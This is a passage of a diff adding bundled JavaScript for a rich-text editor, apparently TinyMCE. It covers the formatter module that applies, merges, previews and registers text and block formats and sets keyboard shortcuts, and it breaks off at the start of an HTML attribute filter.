+      if (sibling.nodeType === 1 && !$_6refgt2vjjgwe7yn.isBookmarkNode(sibling)) {
+        return sibling;
+      }
+    }
+    return node;
+  };
+  var mergeSiblingsNodes = function (dom, prev, next) {
+    var sibling, tmpSibling;
+    var elementUtils = new ElementUtils(dom);
+    if (prev && next) {
+      prev = findElementSibling(prev, 'previousSibling');
+      next = findElementSibling(next, 'nextSibling');
+      if (elementUtils.compare(prev, next)) {
+        for (sibling = prev.nextSibling; sibling && sibling !== next;) {
+          tmpSibling = sibling;
+          sibling = sibling.nextSibling;
+          prev.appendChild(tmpSibling);
+        }
+        dom.remove(next);
+        $_6cwiepljjgwe7j4.each($_6cwiepljjgwe7j4.grep(next.childNodes), function (node) {
+          prev.appendChild(node);
+        });
+        return prev;
+      }
+    }
+    return next;
+  };
+  var processChildElements = function (node, filter, process) {
+    each$14(node.childNodes, function (node) {
+      if (isElementNode(node)) {
+        if (filter(node)) {
+          process(node);
+        }
+        if (node.hasChildNodes()) {
+          processChildElements(node, filter, process);
+        }
+      }
+    });
+  };
+  var hasStyle = function (dom, name) {
+    return curry(function (name, node) {
+      return !!(node && $_4301413ajjgwe82g.getStyle(dom, node, name));
+    }, name);
+  };
+  var applyStyle = function (dom, name, value) {
+    return curry(function (name, value, node) {
+      dom.setStyle(node, name, value);
+      if (node.getAttribute('style') === '') {
+        node.removeAttribute('style');
+      }
+      unwrapEmptySpan(dom, node);
+    }, name, value);
+  };
+  var unwrapEmptySpan = function (dom, node) {
+    if (node.nodeName === 'SPAN' && dom.getAttribs(node).length === 0) {
+      dom.remove(node, true);
+    }
+  };
+  var processUnderlineAndColor = function (dom, node) {
+    var textDecoration;
+    if (node.nodeType === 1 && node.parentNode && node.parentNode.nodeType === 1) {
+      textDecoration = $_4301413ajjgwe82g.getTextDecoration(dom, node.parentNode);
+      if (dom.getStyle(node, 'color') && textDecoration) {
+        dom.setStyle(node, 'text-decoration', textDecoration);
+      } else if (dom.getStyle(node, 'text-decoration') === textDecoration) {
+        dom.setStyle(node, 'text-decoration', null);
+      }
+    }
+  };
+  var mergeUnderlineAndColor = function (dom, format, vars, node) {
+    if (format.styles.color || format.styles.textDecoration) {
+      $_6cwiepljjgwe7j4.walk(node, curry(processUnderlineAndColor, dom), 'childNodes');
+      processUnderlineAndColor(dom, node);
+    }
+  };
+  var mergeBackgroundColorAndFontSize = function (dom, format, vars, node) {
+    if (format.styles && format.styles.backgroundColor) {
+      processChildElements(node, hasStyle(dom, 'fontSize'), applyStyle(dom, 'backgroundColor', $_4301413ajjgwe82g.replaceVars(format.styles.backgroundColor, vars)));
+    }
+  };
+  var mergeSubSup = function (dom, format, vars, node) {
+    if (format.inline === 'sub' || format.inline === 'sup') {
+      processChildElements(node, hasStyle(dom, 'fontSize'), applyStyle(dom, 'fontSize', ''));
+      dom.remove(dom.select(format.inline === 'sup' ? 'sub' : 'sup', node), true);
+    }
+  };
+  var mergeSiblings = function (dom, format, vars, node) {
+    if (node && format.merge_siblings !== false) {
+      node = mergeSiblingsNodes(dom, $_4301413ajjgwe82g.getNonWhiteSpaceSibling(node), node);
+      node = mergeSiblingsNodes(dom, node, $_4301413ajjgwe82g.getNonWhiteSpaceSibling(node, true));
+    }
+  };
+  var clearChildStyles = function (dom, format, node) {
+    if (format.clear_child_styles) {
+      var selector = format.links ? '*:not(a)' : '*';
+      each$14(dom.select(selector, node), function (node) {
+        if (isElementNode(node)) {
+          each$14(format.styles, function (value, name) {
+            dom.setStyle(node, name, '');
+          });
+        }
+      });
+    }
+  };
+  var mergeWithChildren = function (editor, formatList, vars, node) {
+    each$14(formatList, function (format) {
+      each$14(editor.dom.select(format.inline, node), function (child) {
+        if (!isElementNode(child)) {
+          return;
+        }
+        $_y6kng6djjgwe8ry.removeFormat(editor, format, vars, child, format.exact ? child : null);
+      });
+      clearChildStyles(editor.dom, format, node);
+    });
+  };
+  var mergeWithParents = function (editor, format, name, vars, node) {
+    if ($_7svyif69jjgwe8rf.matchNode(editor, node.parentNode, name, vars)) {
+      if ($_y6kng6djjgwe8ry.removeFormat(editor, format, vars, node)) {
+        return;
+      }
+    }
+    if (format.merge_with_parents) {
+      editor.dom.getParent(node.parentNode, function (parent) {
+        if ($_7svyif69jjgwe8rf.matchNode(editor, parent, name, vars)) {
+          $_y6kng6djjgwe8ry.removeFormat(editor, format, vars, node);
+          return true;
+        }
+      });
+    }
+  };
+  var $_3rh05e6cjjgwe8rp = {
+    mergeWithChildren: mergeWithChildren,
+    mergeUnderlineAndColor: mergeUnderlineAndColor,
+    mergeBackgroundColorAndFontSize: mergeBackgroundColorAndFontSize,
+    mergeSubSup: mergeSubSup,
+    mergeSiblings: mergeSiblings,
+    mergeWithParents: mergeWithParents
+  };
+
+  var each$15 = $_6cwiepljjgwe7j4.each;
+  var isElementNode$1 = function (node) {
+    return node && node.nodeType === 1 && !$_6refgt2vjjgwe7yn.isBookmarkNode(node) && !isCaretNode(node) && !$_3b9u2y1rjjgwe7qe.isBogus(node);
+  };
+  var applyFormat = function (ed, name, vars, node) {
+    var formatList = ed.formatter.get(name);
+    var format = formatList[0];
+    var bookmark, rng;
+    var isCollapsed = !node && ed.selection.isCollapsed();
+    var dom = ed.dom, selection = ed.selection;
+    var setElementFormat = function (elm, fmt) {
+      fmt = fmt || format;
+      if (elm) {
+        if (fmt.onformat) {
+          fmt.onformat(elm, fmt, vars, node);
+        }
+        each$15(fmt.styles, function (value, name) {
+          dom.setStyle(elm, name, $_4301413ajjgwe82g.replaceVars(value, vars));
+        });
+        if (fmt.styles) {
+          var styleVal = dom.getAttrib(elm, 'style');
+          if (styleVal) {
+            elm.setAttribute('data-mce-style', styleVal);
+          }
+        }
+        each$15(fmt.attributes, function (value, name) {
+          dom.setAttrib(elm, name, $_4301413ajjgwe82g.replaceVars(value, vars));
+        });
+        each$15(fmt.classes, function (value) {
+          value = $_4301413ajjgwe82g.replaceVars(value, vars);
+          if (!dom.hasClass(elm, value)) {
+            dom.addClass(elm, value);
+          }
+        });
+      }
+    };
+    var applyNodeStyle = function (formatList, node) {
+      var found = false;
+      if (!format.selector) {
+        return false;
+      }
+      each$15(formatList, function (format) {
+        if ('collapsed' in format && format.collapsed !== isCollapsed) {
+          return;
+        }
+        if (dom.is(node, format.selector) && !isCaretNode(node)) {
+          setElementFormat(node, format);
+          found = true;
+          return false;
+        }
+      });
+      return found;
+    };
+    var applyRngStyle = function (dom, rng, bookmark, nodeSpecific) {
+      var newWrappers = [];
+      var wrapName, wrapElm, contentEditable = true;
+      wrapName = format.inline || format.block;
+      wrapElm = dom.create(wrapName);
+      setElementFormat(wrapElm);
+      $_e2gzn43bjjgwe82k.walk(dom, rng, function (nodes) {
+        var currentWrapElm;
+        var process = function (node) {
+          var nodeName, parentName, hasContentEditableState, lastContentEditable;
+          lastContentEditable = contentEditable;
+          nodeName = node.nodeName.toLowerCase();
+          parentName = node.parentNode.nodeName.toLowerCase();
+          if (node.nodeType === 1 && dom.getContentEditable(node)) {
+            lastContentEditable = contentEditable;
+            contentEditable = dom.getContentEditable(node) === 'true';
+            hasContentEditableState = true;
+          }
+          if ($_4301413ajjgwe82g.isEq(nodeName, 'br')) {
+            currentWrapElm = 0;
+            if (format.block) {
+              dom.remove(node);
+            }
+            return;
+          }
+          if (format.wrapper && $_7svyif69jjgwe8rf.matchNode(ed, node, name, vars)) {
+            currentWrapElm = 0;
+            return;
+          }
+          if (contentEditable && !hasContentEditableState && format.block && !format.wrapper && $_4301413ajjgwe82g.isTextBlock(ed, nodeName) && $_4301413ajjgwe82g.isValid(ed, parentName, wrapName)) {
+            node = dom.rename(node, wrapName);
+            setElementFormat(node);
+            newWrappers.push(node);
+            currentWrapElm = 0;
+            return;
+          }
+          if (format.selector) {
+            var found = applyNodeStyle(formatList, node);
+            if (!format.inline || found) {
+              currentWrapElm = 0;
+              return;
+            }
+          }
+          if (contentEditable && !hasContentEditableState && $_4301413ajjgwe82g.isValid(ed, wrapName, nodeName) && $_4301413ajjgwe82g.isValid(ed, parentName, wrapName) && !(!nodeSpecific && node.nodeType === 3 && node.nodeValue.length === 1 && node.nodeValue.charCodeAt(0) === 65279) && !isCaretNode(node) && (!format.inline || !dom.isBlock(node))) {
+            if (!currentWrapElm) {
+              currentWrapElm = dom.clone(wrapElm, false);
+              node.parentNode.insertBefore(currentWrapElm, node);
+              newWrappers.push(currentWrapElm);
+            }
+            currentWrapElm.appendChild(node);
+          } else {
+            currentWrapElm = 0;
+            each$15($_6cwiepljjgwe7j4.grep(node.childNodes), process);
+            if (hasContentEditableState) {
+              contentEditable = lastContentEditable;
+            }
+            currentWrapElm = 0;
+          }
+        };
+        each$15(nodes, process);
+      });
+      if (format.links === true) {
+        each$15(newWrappers, function (node) {
+          var process = function (node) {
+            if (node.nodeName === 'A') {
+              setElementFormat(node, format);
+            }
+            each$15($_6cwiepljjgwe7j4.grep(node.childNodes), process);
+          };
+          process(node);
+        });
+      }
+      each$15(newWrappers, function (node) {
+        var childCount;
+        var getChildCount = function (node) {
+          var count = 0;
+          each$15(node.childNodes, function (node) {
+            if (!$_4301413ajjgwe82g.isWhiteSpaceNode(node) && !$_6refgt2vjjgwe7yn.isBookmarkNode(node)) {
+              count++;
+            }
+          });
+          return count;
+        };
+        var getChildElementNode = function (root) {
+          var child = false;
+          each$15(root.childNodes, function (node) {
+            if (isElementNode$1(node)) {
+              child = node;
+              return false;
+            }
+          });
+          return child;
+        };
+        var mergeStyles = function (node) {
+          var child, clone;
+          child = getChildElementNode(node);
+          if (child && !$_6refgt2vjjgwe7yn.isBookmarkNode(child) && $_7svyif69jjgwe8rf.matchName(dom, child, format)) {
+            clone = dom.clone(child, false);
+            setElementFormat(clone);
+            dom.replace(clone, node, true);
+            dom.remove(child, 1);
+          }
+          return clone || node;
+        };
+        childCount = getChildCount(node);
+        if ((newWrappers.length > 1 || !dom.isBlock(node)) && childCount === 0) {
+          dom.remove(node, 1);
+          return;
+        }
+        if (format.inline || format.wrapper) {
+          if (!format.exact && childCount === 1) {
+            node = mergeStyles(node);
+          }
+          $_3rh05e6cjjgwe8rp.mergeWithChildren(ed, formatList, vars, node);
+          $_3rh05e6cjjgwe8rp.mergeWithParents(ed, format, name, vars, node);
+          $_3rh05e6cjjgwe8rp.mergeBackgroundColorAndFontSize(dom, format, vars, node);
+          $_3rh05e6cjjgwe8rp.mergeSubSup(dom, format, vars, node);
+          $_3rh05e6cjjgwe8rp.mergeSiblings(dom, format, vars, node);
+        }
+      });
+    };
+    if (dom.getContentEditable(selection.getNode()) === 'false') {
+      node = selection.getNode();
+      for (var i = 0, l = formatList.length; i < l; i++) {
+        if (formatList[i].ceFalseOverride && dom.is(node, formatList[i].selector)) {
+          setElementFormat(node, formatList[i]);
+          return;
+        }
+      }
+      return;
+    }
+    if (format) {
+      if (node) {
+        if (node.nodeType) {
+          if (!applyNodeStyle(formatList, node)) {
+            rng = dom.createRng();
+            rng.setStartBefore(node);
+            rng.setEndAfter(node);
+            applyRngStyle(dom, $_1f06hv2ujjgwe7y7.expandRng(ed, rng, formatList), null, true);
+          }
+        } else {
+          applyRngStyle(dom, node, null, true);
+        }
+      } else {
+        if (!isCollapsed || !format.inline || dom.select('td[data-mce-selected],th[data-mce-selected]').length) {
+          var curSelNode = ed.selection.getNode();
+          if (!ed.settings.forced_root_block && formatList[0].defaultBlock && !dom.getParent(curSelNode, dom.isBlock)) {
+            applyFormat(ed, formatList[0].defaultBlock);
+          }
+          ed.selection.setRng($_e1wrz53ojjgwe85f.normalize(ed.selection.getRng()));
+          bookmark = $_ga29lf2jjjgwe7wh.getPersistentBookmark(ed.selection, true);
+          applyRngStyle(dom, $_1f06hv2ujjgwe7y7.expandRng(ed, selection.getRng(), formatList), bookmark);
+          if (format.styles) {
+            $_3rh05e6cjjgwe8rp.mergeUnderlineAndColor(dom, format, vars, curSelNode);
+          }
+          selection.moveToBookmark(bookmark);
+          $_4301413ajjgwe82g.moveStart(dom, selection, selection.getRng());
+          ed.nodeChanged();
+        } else {
+          applyCaretFormat(ed, name, vars);
+        }
+      }
+      $_49rwy16bjjgwe8rl.postProcess(name, ed);
+    }
+  };
+  var $_b0knyc67jjgwe8qi = { applyFormat: applyFormat };
+
+  var each$16 = $_6cwiepljjgwe7j4.each;
+  var setup$5 = function (formatChangeData, editor) {
+    var currentFormats = {};
+    formatChangeData.set({});
+    editor.on('NodeChange', function (e) {
+      var parents = $_4301413ajjgwe82g.getParents(editor.dom, e.element);
+      var matchedFormats = {};
+      parents = $_6cwiepljjgwe7j4.grep(parents, function (node) {
+        return node.nodeType === 1 && !node.getAttribute('data-mce-bogus');
+      });
+      each$16(formatChangeData.get(), function (callbacks, format) {
+        each$16(parents, function (node) {
+          if (editor.formatter.matchNode(node, format, {}, callbacks.similar)) {
+            if (!currentFormats[format]) {
+              each$16(callbacks, function (callback) {
+                callback(true, {
+                  node: node,
+                  format: format,
+                  parents: parents
+                });
+              });
+              currentFormats[format] = callbacks;
+            }
+            matchedFormats[format] = callbacks;
+            return false;
+          }
+          if ($_7svyif69jjgwe8rf.matchesUnInheritedFormatSelector(editor, node, format)) {
+            return false;
+          }
+        });
+      });
+      each$16(currentFormats, function (callbacks, format) {
+        if (!matchedFormats[format]) {
+          delete currentFormats[format];
+          each$16(callbacks, function (callback) {
+            callback(false, {
+              node: e.element,
+              format: format,
+              parents: parents
+            });
+          });
+        }
+      });
+    });
+  };
+  var addListeners = function (formatChangeData, formats, callback, similar) {
+    var formatChangeItems = formatChangeData.get();
+    each$16(formats.split(','), function (format) {
+      if (!formatChangeItems[format]) {
+        formatChangeItems[format] = [];
+        formatChangeItems[format].similar = similar;
+      }
+      formatChangeItems[format].push(callback);
+    });
+    formatChangeData.set(formatChangeItems);
+  };
+  var formatChanged = function (editor, formatChangeState, formats, callback, similar) {
+    if (formatChangeState.get() === null) {
+      setup$5(formatChangeState, editor);
+    }
+    addListeners(formatChangeState, formats, callback, similar);
+  };
+  var $_4iv60i6ejjgwe8sa = { formatChanged: formatChanged };
+
+  var get$7 = function (dom) {
+    var formats = {
+      valigntop: [{
+          selector: 'td,th',
+          styles: { verticalAlign: 'top' }
+        }],
+      valignmiddle: [{
+          selector: 'td,th',
+          styles: { verticalAlign: 'middle' }
+        }],
+      valignbottom: [{
+          selector: 'td,th',
+          styles: { verticalAlign: 'bottom' }
+        }],
+      alignleft: [
+        {
+          selector: 'figure.image',
+          collapsed: false,
+          classes: 'align-left',
+          ceFalseOverride: true,
+          preview: 'font-family font-size'
+        },
+        {
+          selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li',
+          styles: { textAlign: 'left' },
+          inherit: false,
+          preview: false,
+          defaultBlock: 'div'
+        },
+        {
+          selector: 'img,table',
+          collapsed: false,
+          styles: { float: 'left' },
+          preview: 'font-family font-size'
+        }
+      ],
+      aligncenter: [
+        {
+          selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li',
+          styles: { textAlign: 'center' },
+          inherit: false,
+          preview: 'font-family font-size',
+          defaultBlock: 'div'
+        },
+        {
+          selector: 'figure.image',
+          collapsed: false,
+          classes: 'align-center',
+          ceFalseOverride: true,
+          preview: 'font-family font-size'
+        },
+        {
+          selector: 'img',
+          collapsed: false,
+          styles: {
+            display: 'block',
+            marginLeft: 'auto',
+            marginRight: 'auto'
+          },
+          preview: false
+        },
+        {
+          selector: 'table',
+          collapsed: false,
+          styles: {
+            marginLeft: 'auto',
+            marginRight: 'auto'
+          },
+          preview: 'font-family font-size'
+        }
+      ],
+      alignright: [
+        {
+          selector: 'figure.image',
+          collapsed: false,
+          classes: 'align-right',
+          ceFalseOverride: true,
+          preview: 'font-family font-size'
+        },
+        {
+          selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li',
+          styles: { textAlign: 'right' },
+          inherit: false,
+          preview: 'font-family font-size',
+          defaultBlock: 'div'
+        },
+        {
+          selector: 'img,table',
+          collapsed: false,
+          styles: { float: 'right' },
+          preview: 'font-family font-size'
+        }
+      ],
+      alignjustify: [{
+          selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li',
+          styles: { textAlign: 'justify' },
+          inherit: false,
+          defaultBlock: 'div',
+          preview: 'font-family font-size'
+        }],
+      bold: [
+        {
+          inline: 'strong',
+          remove: 'all'
+        },
+        {
+          inline: 'span',
+          styles: { fontWeight: 'bold' }
+        },
+        {
+          inline: 'b',
+          remove: 'all'
+        }
+      ],
+      italic: [
+        {
+          inline: 'em',
+          remove: 'all'
+        },
+        {
+          inline: 'span',
+          styles: { fontStyle: 'italic' }
+        },
+        {
+          inline: 'i',
+          remove: 'all'
+        }
+      ],
+      underline: [
+        {
+          inline: 'span',
+          styles: { textDecoration: 'underline' },
+          exact: true
+        },
+        {
+          inline: 'u',
+          remove: 'all'
+        }
+      ],
+      strikethrough: [
+        {
+          inline: 'span',
+          styles: { textDecoration: 'line-through' },
+          exact: true
+        },
+        {
+          inline: 'strike',
+          remove: 'all'
+        }
+      ],
+      forecolor: {
+        inline: 'span',
+        styles: { color: '%value' },
+        links: true,
+        remove_similar: true,
+        clear_child_styles: true
+      },
+      hilitecolor: {
+        inline: 'span',
+        styles: { backgroundColor: '%value' },
+        links: true,
+        remove_similar: true,
+        clear_child_styles: true
+      },
+      fontname: {
+        inline: 'span',
+        toggle: false,
+        styles: { fontFamily: '%value' },
+        clear_child_styles: true
+      },
+      fontsize: {
+        inline: 'span',
+        toggle: false,
+        styles: { fontSize: '%value' },
+        clear_child_styles: true
+      },
+      fontsize_class: {
+        inline: 'span',
+        attributes: { class: '%value' }
+      },
+      blockquote: {
+        block: 'blockquote',
+        wrapper: 1,
+        remove: 'all'
+      },
+      subscript: { inline: 'sub' },
+      superscript: { inline: 'sup' },
+      code: { inline: 'code' },
+      link: {
+        inline: 'a',
+        selector: 'a',
+        remove: 'all',
+        split: true,
+        deep: true,
+        onmatch: function () {
+          return true;
+        },
+        onformat: function (elm, fmt, vars) {
+          $_6cwiepljjgwe7j4.each(vars, function (value, key) {
+            dom.setAttrib(elm, key, value);
+          });
+        }
+      },
+      removeformat: [
+        {
+          selector: 'b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins',
+          remove: 'all',
+          split: true,
+          expand: false,
+          block_expand: true,
+          deep: true
+        },
+        {
+          selector: 'span',
+          attributes: [
+            'style',
+            'class'
+          ],
+          remove: 'empty',
+          split: true,
+          expand: false,
+          deep: true
+        },
+        {
+          selector: '*',
+          attributes: [
+            'style',
+            'class'
+          ],
+          split: false,
+          expand: false,
+          deep: true
+        }
+      ]
+    };
+    $_6cwiepljjgwe7j4.each('p h1 h2 h3 h4 h5 h6 div address pre div dt dd samp'.split(/\s/), function (name) {
+      formats[name] = {
+        block: name,
+        remove: 'all'
+      };
+    });
+    return formats;
+  };
+  var $_5phnzx6gjjgwe8sf = { get: get$7 };
+
+  function FormatRegistry (editor) {
+    var formats = {};
+    var get = function (name) {
+      return name ? formats[name] : formats;
+    };
+    var register = function (name, format) {
+      if (name) {
+        if (typeof name !== 'string') {
+          $_6cwiepljjgwe7j4.each(name, function (format, name) {
+            register(name, format);
+          });
+        } else {
+          format = format.length ? format : [format];
+          $_6cwiepljjgwe7j4.each(format, function (format) {
+            if (typeof format.deep === 'undefined') {
+              format.deep = !format.selector;
+            }
+            if (typeof format.split === 'undefined') {
+              format.split = !format.selector || format.inline;
+            }
+            if (typeof format.remove === 'undefined' && format.selector && !format.inline) {
+              format.remove = 'none';
+            }
+            if (format.selector && format.inline) {
+              format.mixed = true;
+              format.block_expand = true;
+            }
+            if (typeof format.classes === 'string') {
+              format.classes = format.classes.split(/\s+/);
+            }
+          });
+          formats[name] = format;
+        }
+      }
+    };
+    var unregister = function (name) {
+      if (name && formats[name]) {
+        delete formats[name];
+      }
+      return formats;
+    };
+    register($_5phnzx6gjjgwe8sf.get(editor.dom));
+    register(editor.settings.formats);
+    return {
+      get: get,
+      register: register,
+      unregister: unregister
+    };
+  }
+
+  var each$17 = $_6cwiepljjgwe7j4.each;
+  var dom = DOMUtils$1.DOM;
+  var parsedSelectorToHtml = function (ancestry, editor) {
+    var elm, item, fragment;
+    var schema = editor && editor.schema || Schema({});
+    var decorate = function (elm, item) {
+      if (item.classes.length) {
+        dom.addClass(elm, item.classes.join(' '));
+      }
+      dom.setAttribs(elm, item.attrs);
+    };
+    var createElement = function (sItem) {
+      var elm;
+      item = typeof sItem === 'string' ? {
+        name: sItem,
+        classes: [],
+        attrs: {}
+      } : sItem;
+      elm = dom.create(item.name);
+      decorate(elm, item);
+      return elm;
+    };
+    var getRequiredParent = function (elm, candidate) {
+      var name = typeof elm !== 'string' ? elm.nodeName.toLowerCase() : elm;
+      var elmRule = schema.getElementRule(name);
+      var parentsRequired = elmRule && elmRule.parentsRequired;
+      if (parentsRequired && parentsRequired.length) {
+        return candidate && $_6cwiepljjgwe7j4.inArray(parentsRequired, candidate) !== -1 ? candidate : parentsRequired[0];
+      } else {
+        return false;
+      }
+    };
+    var wrapInHtml = function (elm, ancestry, siblings) {
+      var parent, parentCandidate, parentRequired;
+      var ancestor = ancestry.length > 0 && ancestry[0];
+      var ancestorName = ancestor && ancestor.name;
+      parentRequired = getRequiredParent(elm, ancestorName);
+      if (parentRequired) {
+        if (ancestorName === parentRequired) {
+          parentCandidate = ancestry[0];
+          ancestry = ancestry.slice(1);
+        } else {
+          parentCandidate = parentRequired;
+        }
+      } else if (ancestor) {
+        parentCandidate = ancestry[0];
+        ancestry = ancestry.slice(1);
+      } else if (!siblings) {
+        return elm;
+      }
+      if (parentCandidate) {
+        parent = createElement(parentCandidate);
+        parent.appendChild(elm);
+      }
+      if (siblings) {
+        if (!parent) {
+          parent = dom.create('div');
+          parent.appendChild(elm);
+        }
+        $_6cwiepljjgwe7j4.each(siblings, function (sibling) {
+          var siblingElm = createElement(sibling);
+          parent.insertBefore(siblingElm, elm);
+        });
+      }
+      return wrapInHtml(parent, ancestry, parentCandidate && parentCandidate.siblings);
+    };
+    if (ancestry && ancestry.length) {
+      item = ancestry[0];
+      elm = createElement(item);
+      fragment = dom.create('div');
+      fragment.appendChild(wrapInHtml(elm, ancestry.slice(1), item.siblings));
+      return fragment;
+    } else {
+      return '';
+    }
+  };
+  var selectorToHtml = function (selector, editor) {
+    return parsedSelectorToHtml(parseSelector(selector), editor);
+  };
+  var parseSelectorItem = function (item) {
+    var tagName;
+    var obj = {
+      classes: [],
+      attrs: {}
+    };
+    item = obj.selector = $_6cwiepljjgwe7j4.trim(item);
+    if (item !== '*') {
+      tagName = item.replace(/(?:([#\.]|::?)([\w\-]+)|(\[)([^\]]+)\]?)/g, function ($0, $1, $2, $3, $4) {
+        switch ($1) {
+        case '#':
+          obj.attrs.id = $2;
+          break;
+        case '.':
+          obj.classes.push($2);
+          break;
+        case ':':
+          if ($_6cwiepljjgwe7j4.inArray('checked disabled enabled read-only required'.split(' '), $2) !== -1) {
+            obj.attrs[$2] = $2;
+          }
+          break;
+        }
+        if ($3 === '[') {
+          var m = $4.match(/([\w\-]+)(?:\=\"([^\"]+))?/);
+          if (m) {
+            obj.attrs[m[1]] = m[2];
+          }
+        }
+        return '';
+      });
+    }
+    obj.name = tagName || 'div';
+    return obj;
+  };
+  var parseSelector = function (selector) {
+    if (!selector || typeof selector !== 'string') {
+      return [];
+    }
+    selector = selector.split(/\s*,\s*/)[0];
+    selector = selector.replace(/\s*(~\+|~|\+|>)\s*/g, '$1');
+    return $_6cwiepljjgwe7j4.map(selector.split(/(?:>|\s+(?![^\[\]]+\]))/), function (item) {
+      var siblings = $_6cwiepljjgwe7j4.map(item.split(/(?:~\+|~|\+)/), parseSelectorItem);
+      var obj = siblings.pop();
+      if (siblings.length) {
+        obj.siblings = siblings;
+      }
+      return obj;
+    }).reverse();
+  };
+  var getCssText = function (editor, format) {
+    var name, previewFrag, previewElm, items;
+    var previewCss = '', parentFontSize, previewStyles;
+    previewStyles = editor.settings.preview_styles;
+    if (previewStyles === false) {
+      return '';
+    }
+    if (typeof previewStyles !== 'string') {
+      previewStyles = 'font-family font-size font-weight font-style text-decoration ' + 'text-transform color background-color border border-radius outline text-shadow';
+    }
+    var removeVars = function (val) {
+      return val.replace(/%(\w+)/g, '');
+    };
+    if (typeof format === 'string') {
+      format = editor.formatter.get(format);
+      if (!format) {
+        return;
+      }
+      format = format[0];
+    }
+    if ('preview' in format) {
+      previewStyles = format.preview;
+      if (previewStyles === false) {
+        return '';
+      }
+    }
+    name = format.block || format.inline || 'span';
+    items = parseSelector(format.selector);
+    if (items.length) {
+      if (!items[0].name) {
+        items[0].name = name;
+      }
+      name = format.selector;
+      previewFrag = parsedSelectorToHtml(items, editor);
+    } else {
+      previewFrag = parsedSelectorToHtml([name], editor);
+    }
+    previewElm = dom.select(name, previewFrag)[0] || previewFrag.firstChild;
+    each$17(format.styles, function (value, name) {
+      value = removeVars(value);
+      if (value) {
+        dom.setStyle(previewElm, name, value);
+      }
+    });
+    each$17(format.attributes, function (value, name) {
+      value = removeVars(value);
+      if (value) {
+        dom.setAttrib(previewElm, name, value);
+      }
+    });
+    each$17(format.classes, function (value) {
+      value = removeVars(value);
+      if (!dom.hasClass(previewElm, value)) {
+        dom.addClass(previewElm, value);
+      }
+    });
+    editor.fire('PreviewFormats');
+    dom.setStyles(previewFrag, {
+      position: 'absolute',
+      left: -65535
+    });
+    editor.getBody().appendChild(previewFrag);
+    parentFontSize = dom.getStyle(editor.getBody(), 'fontSize', true);
+    parentFontSize = /px$/.test(parentFontSize) ? parseInt(parentFontSize, 10) : 0;
+    each$17(previewStyles.split(' '), function (name) {
+      var value = dom.getStyle(previewElm, name, true);
+      if (name === 'background-color' && /transparent|rgba\s*\([^)]+,\s*0\)/.test(value)) {
+        value = dom.getStyle(editor.getBody(), name, true);
+        if (dom.toHex(value).toLowerCase() === '#ffffff') {
+          return;
+        }
+      }
+      if (name === 'color') {
+        if (dom.toHex(value).toLowerCase() === '#000000') {
+          return;
+        }
+      }
+      if (name === 'font-size') {
+        if (/em|%$/.test(value)) {
+          if (parentFontSize === 0) {
+            return;
+          }
+          var numValue = parseFloat(value) / (/%$/.test(value) ? 100 : 1);
+          value = numValue * parentFontSize + 'px';
+        }
+      }
+      if (name === 'border' && value) {
+        previewCss += 'padding:0 2px;';
+      }
+      previewCss += name + ':' + value + ';';
+    });
+    editor.fire('AfterPreviewFormats');
+    dom.remove(previewFrag);
+    return previewCss;
+  };
+  var $_6zfajg6hjjgwe8sl = {
+    getCssText: getCssText,
+    parseSelector: parseSelector,
+    selectorToHtml: selectorToHtml
+  };
+
+  var toggle$3 = function (editor, formats, name, vars, node) {
+    var fmt = formats.get(name);
+    if ($_7svyif69jjgwe8rf.match(editor, name, vars, node) && (!('toggle' in fmt[0]) || fmt[0].toggle)) {
+      $_y6kng6djjgwe8ry.remove(editor, name, vars, node);
+    } else {
+      $_b0knyc67jjgwe8qi.applyFormat(editor, name, vars, node);
+    }
+  };
+  var $_d9x3256ijjgwe8sr = { toggle: toggle$3 };
+
+  var setup$6 = function (editor) {
+    editor.addShortcut('meta+b', '', 'Bold');
+    editor.addShortcut('meta+i', '', 'Italic');
+    editor.addShortcut('meta+u', '', 'Underline');
+    for (var i = 1; i <= 6; i++) {
+      editor.addShortcut('access+' + i, '', [
+        'FormatBlock',
+        false,
+        'h' + i
+      ]);
+    }
+    editor.addShortcut('access+7', '', [
+      'FormatBlock',
+      false,
+      'p'
+    ]);
+    editor.addShortcut('access+8', '', [
+      'FormatBlock',
+      false,
+      'div'
+    ]);
+    editor.addShortcut('access+9', '', [
+      'FormatBlock',
+      false,
+      'address'
+    ]);
+  };
+  var $_5sdg916jjjgwe8ss = { setup: setup$6 };
+
+  function Formatter (editor) {
+    var formats = FormatRegistry(editor);
+    var formatChangeState = Cell(null);
+    $_5sdg916jjjgwe8ss.setup(editor);
+    setup$4(editor);
+    return {
+      get: formats.get,
+      register: formats.register,
+      unregister: formats.unregister,
+      apply: curry($_b0knyc67jjgwe8qi.applyFormat, editor),
+      remove: curry($_y6kng6djjgwe8ry.remove, editor),
+      toggle: curry($_d9x3256ijjgwe8sr.toggle, editor, formats),
+      match: curry($_7svyif69jjgwe8rf.match, editor),
+      matchAll: curry($_7svyif69jjgwe8rf.matchAll, editor),
+      matchNode: curry($_7svyif69jjgwe8rf.matchNode, editor),
+      canApply: curry($_7svyif69jjgwe8rf.canApply, editor),
+      formatChanged: curry($_4iv60i6ejjgwe8sa.formatChanged, editor, formatChangeState),
+      getCssText: curry($_6zfajg6hjjgwe8sl.getCssText, editor)
+    };
+  }
+
+  var hasOwnProperty$1 = Object.prototype.hasOwnProperty;
+  var shallow$1 = function (old, nu) {
+    return nu;
+  };
+  var baseMerge = function (merger) {
+    return function () {
+      var objects = new Array(arguments.length);
+      for (var i = 0; i < objects.length; i++)
+        objects[i] = arguments[i];
+      if (objects.length === 0)
+        throw new Error('Can\'t merge zero objects');
+      var ret = {};
+      for (var j = 0; j < objects.length; j++) {
+        var curObject = objects[j];
+        for (var key in curObject)
+          if (hasOwnProperty$1.call(curObject, key)) {
+            ret[key] = merger(ret[key], curObject[key]);
+          }
+      }
+      return ret;
+    };
+  };
+
+  var merge = baseMerge(shallow$1);
+
+  var register = function (htmlParser, settings, dom) {
+    htmlParser.addAttributeFilter('data-mce-tabindex', function (nodes, name) {
+      var i = nodes.length, node;
+      while (i--) {
+        node = nodes[i];
+        node.attr('tabindex', node.attributes.map['data-mce-tabindex']);
+        node.attr(name, null);
+      }
+    });
+    htmlParser.addAttributeFilter('src,href,style', function (nodes, name) {
+      var i = nodes.length, node, value;
